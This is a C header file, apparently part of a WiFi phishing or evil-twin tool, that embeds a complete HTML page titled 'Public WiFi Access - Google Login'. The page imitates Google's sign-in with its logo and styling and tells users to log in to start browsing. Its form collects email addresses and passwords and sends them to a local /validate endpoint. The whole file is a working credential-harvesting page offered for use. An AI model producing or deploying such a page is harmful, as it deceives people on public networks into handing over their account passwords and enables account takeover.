-
Notifications
You must be signed in to change notification settings - Fork 17
/
google.h
183 lines (179 loc) · 7.8 KB
/
google.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
const char GOOGLE_HTML[] = R"=====(
<html>
<head>
<title>Public WiFi Access - Google Login</title>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width,
initial-scale=0.75, maximum-scale=0.75, user-scalable=no'>
<style>
.login-page {
width: 360px;
padding: 8% 0 0;
margin: auto;
}
.form {
position: relative;
z-index: 1;
background: #F7F7F7;
max-width: 360px;
margin: 0 auto 100px;
padding: 45px;
text-align: center;
box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
}
.form input {
font-family: 'Roboto', sans-serif;
outline: 0;
background: #ffffff;
width: 100%;
border: 0;
margin: 0 0 15px;
padding: 15px;
box-sizing: border-box;
font-size: 14px;
}
.form button {
font-family: 'Roboto', sans-serif;
outline: 0;
background: #4E8FF4;
width: 100%;
border: 0;
padding: 15px;
color: #FFFFFF;
font-size: 14px;
-webkit-transition: all 0.3 ease;
transition: all 0.3 ease;
cursor: pointer;
}
.form button:hover,.form button:active,.form button:focus {
background: blue;
}
.form .message {
text-align: right;
margin: 15px 0 0;
color: #4E8FF4;
font-size: 12px;
}
.form .message a {
color: #4E8FF4;
text-decoration: none;
}
.form .register-form {
display: none;
}
.container {
position: relative;
z-index: 1;
max-width: 300px;
margin: 0 auto;
}
.container:before, .container:after {
content: '';
display: block;
clear: both;
}
.container .info {
margin: 50px auto;
text-align: center;
}
.container .info h1 {
margin: 0 0 15px;
padding: 0;
font-size: 36px;
font-weight: 300;
color: #1a1a1a;
}
.container .info span {
color: #4d4d4d;
font-size: 12px;
}
.container .info span a {
color: #000000;
text-decoration: none;
}
.container .info span .fa {
color: #EF3B3A;
}
body {
background: #ffffff;
font-family: 'Roboto', sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.logo {
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHQAAAAmCAYAAAAV3L/bAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3wsKCQE65xcGUwAACYRJREFUeNrtW2tsHNUVXrO7jkMhCq9SHgGkhkdRSbFnxjEhMDszjmMKIgTqFGgrIkCJQBTKQ21VCiu8Oxv4EQSNgCCEQIjysCpRaAVl18ZFhHdIoEATiknIw4n3kdiemXXiR3Z6znofd+7M7s6sndiR50pX6+yMr+fMd8853/nOjcfjjpk9WoIDJwqyukKQtbVCWH1NlLUu+DkG80X4+U8BWbk0GNSPcd/UNB/SGq1eDGmviiFlBIDTy81ASNkhhtXftT6emTXT31vDS8u35if78rXrp/yB+GD8OPDE9QBkphKQZmC1b6RImpvJgLKvXKcT859TC+aaA+dAKP1vGdD6YfZkPVJWRi1BlZVh8NY2F9ApBlQIDZ0thpVdFiBtBYDuaH546CyPrtfk728L6rVCSLlclNVnSXADsraPD2sXu4BOIaBXBfVjwTP/Q3sakKG72zp0b8XN0D54fiCsfDLTwZw2gIph7VGDV4aUIfA8wVnu1eukyOB5M50UTTmgfGRgPuTEMQOg4fRyl+cfpYAGZPUpEkysL11YjlJAmad1P5QaAySgze2D5x7JZ9A9nppU88KfxEXmFwmJvRk/ky3MBfi947WCnmOGO/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VctOh4IEnhUp0HZMEQkh7au2TBDyq2z0C7hZJERkHeCshczdoOYn7FtTCdACF8BWw6ZLFhEwDmjSCZPkJ2X5y2z7INCpF9crzmtGpGcL3weSemn8PS7losK6egHIaEAIz9M/YDEWxsAOM53omsjX2/pNAoogEwH8BPbDFVQwZQDQIvlLD3CfNB/Bzt8orYL3W6FnIFIaTegLbCZv0D2o+bfPyUh7aOCMkD1dqOmzohNV6ZFLl7AeAHsf8bX8JcetiAnIkDa2kbZV5XsTRTPnff2jQbSAaxdYiyH4oheHCu1L3YNzWeQ1afct/gNBtQolxH5covMeSaeQX8NxFZ66ZqdcF9g9NsYHcFQPw3XX5hvxh026W5c0S/F0Pqdgr4DZPRnXLHYRjokYGQ+p2TertcaHbHNAHVHFIt6+0tKES4b+xoGFldO30NHm4jT17kVKQuKGFuzZ4zcsfRCW5rMDUHp5sr3eEOdzgf/wd5MUlMEIOkpwAAAABJRU5ErkJggg==');
background-size: 116px 38px;
background-repeat: no-repeat;
float: none;
margin: 40px auto 30px;
display: block;
height: 38px;
width: 116px;
}
.banner {
text-align: center;
}
.banner h1 {
font-family: 'Roboto', sans-serif;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 42px;
font-weight: 300;
margin-top: 0;
margin-bottom: 20px;
}
.banner h2 {
font-family: 'Roboto', sans-serif;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 18px;
font-weight: 400;
margin-bottom: 20px;
}
.circle-mask {
display: block;
height: 96px;
width: 96px;
overflow: hidden;
border-radius: 50%;
margin-left: auto;
margin-right: auto;
z-index: 100;
margin-bottom: 10px;
background-size: 96px;
background-repeat: no-repeat;
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAAAAAB3tzPbAAACOUlEQVR4Ae3aCQrrIBRG4e5/Tz+CBAlIkIAECUjoSt48z/GZeAvnrMCvc6/38XzxAAAAYC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAMCAAAAAAAAAAAAAAAAPsagz4V4rq/FmCLTj/k4vYqgCN5/TKfjlcAJKff5pJ5QPH6Y77YBiz6a4thQJ30D03VKmB3+qfcbhOwO+l+waP/+VsEBgDV6USumgNMOtVkDbDoZIstQNHpiimA1+m8JUBSQ8kO4HBqyB1mAElNJTMAr6a8FcCmxjYjgKjGohGAU2POBmBXc7sJwKrmVhOAqOaiCUBQc8EEQO0JwPMB4ADASwhAe3yR8VPiP3/M8XOaPzQd/lLyp56xSuvnUGK0yHC313idCw6umNov+bhm5aK7fdWAZQ/WbdoXnlg5Y+mvfe2SxVdWj20FAAAAAAAAAAAAwFQAAJSS0hwmfVMIc0qlmAfsOQWvP+RDyrtNQM1L0D8WllxNAWqOXifzMVcbgG3xaswv22jAFp3a6zFteYw8fQ9DM6Amr275VG8GlFmdm8uNgDzpgqZ8EyB7XZTPNwDKpAubysWAOuvi5nolYHW6PLdeBjiCbikc1wCK0025cgUg68Zyf0DUrcXegKibi30Bq25v7QnYNKCtH+BwGpA7ugFmDWnuBSgaVOkECBpU6AOoGlbtAlg1rLULIGhYoQvAaViuC0AD6wE4Xh1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADA194CuqC6onikxXwAAAAASUVORK5CYII=');
-webkit-transition: opacity 0.075s;
-moz-transition: opacity 0.075s;
-ms-transition: opacity 0.075s;
-o-transition: opacity 0.075s;
transition: opacity 0.075s;
}
</style>
</head>
<body>
<div class='logo' aria-label='Google'></div>
<div class='banner'>
<h1>
Entra con Google e inizia a navigare ora
</h1>
<h2 class='hidden-small'>
Sign in to continue
</h2>
</div>
<div class='login-page'>
<div class='form'>
<form class='login-form' action='/validate' method='GET'>
<div class='circle-mask' ></div>
<br>
<input type='email' placeholder='Enter your email' name='user' required />
<input type='password' placeholder='Enter your password' name='pass' required />
<input type='hidden' name='url' value='google.com'>
<button type='submit'>Login</button>
<p class='message'><a href='#'>Find my account</a></p>
</form>
</div>
</div>
</body>
</html>
)=====";